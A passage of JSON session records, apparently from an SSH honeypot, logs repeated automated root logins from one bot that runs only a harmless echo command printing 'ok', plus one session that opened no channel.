  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:35.065700+00:00",
  "ended_at": "2026-08-23T08:11:36.030866+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "999dff88-9583-458b-9614-0c8291183bbc",
  "name": "cheerful-fickle-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38738,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:33.108802+00:00",
  "ended_at": "2026-08-23T08:11:34.344773+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "710d73d5-7b40-4782-a9e0-b9fe1b2d501b",
  "name": "hidden-somber-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38734,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:30.135413+00:00",
  "ended_at": "2026-08-23T08:11:32.313708+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f45fa335-ad1b-4439-9c81-d08a095332a4",
  "name": "dusty-flinty-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42920,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:27.216810+00:00",
  "ended_at": "2026-08-23T08:11:29.348614+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a06e73db-2d95-472b-aa6c-43cf7b19597e",
  "name": "rambling-twilight-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42906,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:24.251844+00:00",
  "ended_at": "2026-08-23T08:11:26.513402+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7980943b-abde-4e4f-bff3-50c8bd2f092b",
  "name": "kindly-hazel-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42902,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:22.530532+00:00",
  "ended_at": "2026-08-23T08:11:23.457414+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c534752e-7cd6-40ae-8f2f-0bf79bcf62ec",
  "name": "valiant-marbled-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42888,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:20.568227+00:00",
  "ended_at": "2026-08-23T08:11:21.703884+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1248bf23-9cab-4239-bfc2-acb356db95e3",
  "name": "canny-sooty-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55852,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:18.226770+00:00",
  "ended_at": "2026-08-23T08:11:19.822369+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "43a484cd-3ff2-4690-887e-174734aebb97",
  "name": "umber-wry-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55842,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:16.353693+00:00",
  "ended_at": "2026-08-23T08:11:17.442996+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6215d31a-c496-436c-85c1-0224232314e0",
  "name": "pewter-hidden-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55828,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:13.509589+00:00",
  "ended_at": "2026-08-23T08:11:15.520505+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dcc27b53-c5fb-4834-b8e5-66137b735b92",
  "name": "bashful-lucid-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55824,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:10.634522+00:00",
  "ended_at": "2026-08-23T08:11:12.849421+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d2cd9fbd-7410-4ce8-b0b8-bb5a8000162d",
  "name": "crisp-flinty-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56942,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:07.765730+00:00",
  "ended_at": "2026-08-23T08:11:09.927715+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2f4b6bb9-133b-419b-918d-acb0d2ddadb3",
  "name": "dappled-whispering-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56936,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:05.515600+00:00",
  "ended_at": "2026-08-23T08:11:06.933644+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7dd3e75b-143b-4fd6-9a67-333cfd7e3b09",
  "name": "proud-weathered-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56934,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:03.044998+00:00",
  "ended_at": "2026-08-23T08:11:04.798596+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f3184135-6d85-4a65-9730-35511e6abfd6",
  "name": "somber-tender-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56920,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:00.779318+00:00",
  "ended_at": "2026-08-23T08:11:02.415597+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1aaaa5bc-28f0-4159-bf62-c23b80654c84",
  "name": "lunar-flinty-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55434,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:58.682357+00:00",
  "ended_at": "2026-08-23T08:11:00.035911+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d29310ab-3026-4415-b056-45e0fd31c164",
  "name": "prickly-weathered-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55424,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:56.674018+00:00",
  "ended_at": "2026-08-23T08:10:57.945042+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ec90a0d4-ba7c-46a5-a5a8-ac685516b571",
  "name": "seaward-distant-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55414,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:54.664549+00:00",
  "ended_at": "2026-08-23T08:10:55.880110+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ecc09037-f6c1-4544-8f23-21b222b280bd",
  "name": "kindly-coastal-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "192.169.201.223",
  "src_port": 56184,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T08:10:52.286042+00:00",
  "ended_at": "2026-08-23T08:10:53.713770+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3b89f3e0-93d5-496d-aaad-24df9704b5b1",
  "name": "polar-sunlit-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55400,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:51.810007+00:00",
  "ended_at": "2026-08-23T08:10:53.926367+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "67f704ab-4271-481e-8af9-cc74b6fb8c9a",
  "name": "ancient-shaded-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55384,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:48.949672+00:00",
  "ended_at": "2026-08-23T08:10:51.176234+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3b9ac76c-e162-4534-8738-e270d6600a0e",
  "name": "velvet-crimson-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43474,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:46.921569+00:00",
  "ended_at": "2026-08-23T08:10:48.110392+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2ab4c140-eafa-45d2-9586-5c2229b7f119",
  "name": "cosmic-creaky-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43464,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:44.017211+00:00",
  "ended_at": "2026-08-23T08:10:46.105559+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "66446576-feb9-4b85-b136-ce0eb944fe42",
  "name": "quartz-cosmic-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43462,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:41.997888+00:00",
  "ended_at": "2026-08-23T08:10:43.219158+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "afec44fa-fe3f-41f1-97a5-6fd3b450f8e8",
  "name": "shaded-ivory-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43446,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:39.022006+00:00",
  "ended_at": "2026-08-23T08:10:41.143436+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "53b5beb0-d069-46cd-95ca-75b63af20c9b",
  "name": "solemn-electric-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34836,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:36.421458+00:00",
  "ended_at": "2026-08-23T08:10:38.273743+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8be1ba08-8ac5-40ec-8518-6e18fe165827",
  "name": "primal-valiant-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34832,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:34.633652+00:00",
  "ended_at": "2026-08-23T08:10:35.590733+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d26db9b9-4695-4222-ba9d-831c19c937cf",
  "name": "autumn-stoic-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34826,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:31.652788+00:00",
  "ended_at": "2026-08-23T08:10:33.880762+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "62219a05-a591-4fa6-b539-fbd13a6290bc",
  "name": "brisk-chilly-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48412,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:26.332864+00:00",
  "ended_at": "2026-08-23T08:10:30.998378+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9316a6aa-f7f0-4428-9bb8-45e272adea21",
  "name": "zealous-silent-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48410,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:24.454386+00:00",
  "ended_at": "2026-08-23T08:10:25.701138+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b09bf15f-5ec7-4cd3-8380-fd638b920499",
  "name": "shifting-amber-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48402,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:21.815058+00:00",
  "ended_at": "2026-08-23T08:10:23.710469+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "83ca1bd4-d455-462a-ac4f-93f654db98a3",
  "name": "indigo-opal-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48394,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:19.060851+00:00",
  "ended_at": "2026-08-23T08:10:21.093532+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "063eaf78-9098-4510-bb4a-ca43b634a48a",
  "name": "gilded-lofty-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55556,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:16.490770+00:00",
  "ended_at": "2026-08-23T08:10:18.255292+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cdb61dfa-6df8-414d-a2aa-a445acf5700d",
  "name": "tender-western-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55540,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:13.789697+00:00",
  "ended_at": "2026-08-23T08:10:15.679370+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "be03f4fd-83be-4013-b8fc-413a0d9381ef",
  "name": "autumn-placid-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55536,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:12.070609+00:00",
  "ended_at": "2026-08-23T08:10:13.122456+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "95a3b4c8-c8a7-49d1-b678-9bd3118169f1",
  "name": "foggy-faded-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55526,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:10.227906+00:00",
  "ended_at": "2026-08-23T08:10:11.207476+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a4c2147e-2c65-48b3-a2e3-b98b5da898d8",
  "name": "downy-crystal-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39844,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:07.969624+00:00",
  "ended_at": "2026-08-23T08:10:09.516629+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0a778a90-9499-4d4e-b15d-d1635af719ec",
  "name": "pleasant-wandering-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39830,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:05.667050+00:00",
  "ended_at": "2026-08-23T08:10:07.175085+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3ffa4d57-f4f5-4cd2-ab18-fd72b3fae8a9",
  "name": "thorny-ruddy-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39814,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:03.157941+00:00",
  "ended_at": "2026-08-23T08:10:04.930359+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "757fed0e-7cca-4a8a-a1c3-83d20b211b02",
  "name": "dapper-feathered-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39810,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:10:00.978656+00:00",
  "ended_at": "2026-08-23T08:10:02.430378+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7b2257fa-9f41-491b-8a91-bc68ba250d87",
  "name": "crisp-stoic-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39806,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:58.960251+00:00",
  "ended_at": "2026-08-23T08:10:00.267748+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e2d9d6bc-47e6-40a4-a7ca-e07c8509d425",
  "name": "courtly-rambling-sparrow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45938,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:57.002849+00:00",
  "ended_at": "2026-08-23T08:09:58.289341+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "323b8445-04b1-43ef-bb0a-50e841c72ae2",
  "name": "graceful-indigo-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45926,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:54.713391+00:00",
  "ended_at": "2026-08-23T08:09:56.258393+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c856ca0a-a4bb-47c6-ba38-4e3098df2ee6",
  "name": "foggy-sterling-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45922,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:51.728546+00:00",
  "ended_at": "2026-08-23T08:09:53.924704+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cc7ebeeb-3e1e-4f24-9dbb-b0f1d605189f",
  "name": "ivory-dutiful-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 45906,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:49.839829+00:00",
  "ended_at": "2026-08-23T08:09:51.071596+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "37d7a3ab-6754-44c0-b17e-6c0252749cbf",
  "name": "genial-oaken-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44544,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:46.906035+00:00",
  "ended_at": "2026-08-23T08:09:49.138890+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "364b4a21-2012-4caf-8985-e1d6811efb15",
  "name": "inland-stormy-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44530,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:45.192426+00:00",
  "ended_at": "2026-08-23T08:09:46.131635+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "31e4cec8-b825-463f-ba50-c7a551413c85",
  "name": "amber-painted-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44516,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:43.067189+00:00",
  "ended_at": "2026-08-23T08:09:44.555755+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "96e1b9ff-b91c-4590-8ca3-5a6ec0d02a86",
  "name": "loyal-sullen-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44504,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:09:40.981808+00:00",
  "ended_at": "2026-08-23T08:09:42.248456+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "64e34d5d-991a-4550-a0d5-f9d380527e27",
  "name": "lofty-bitter-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60658,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
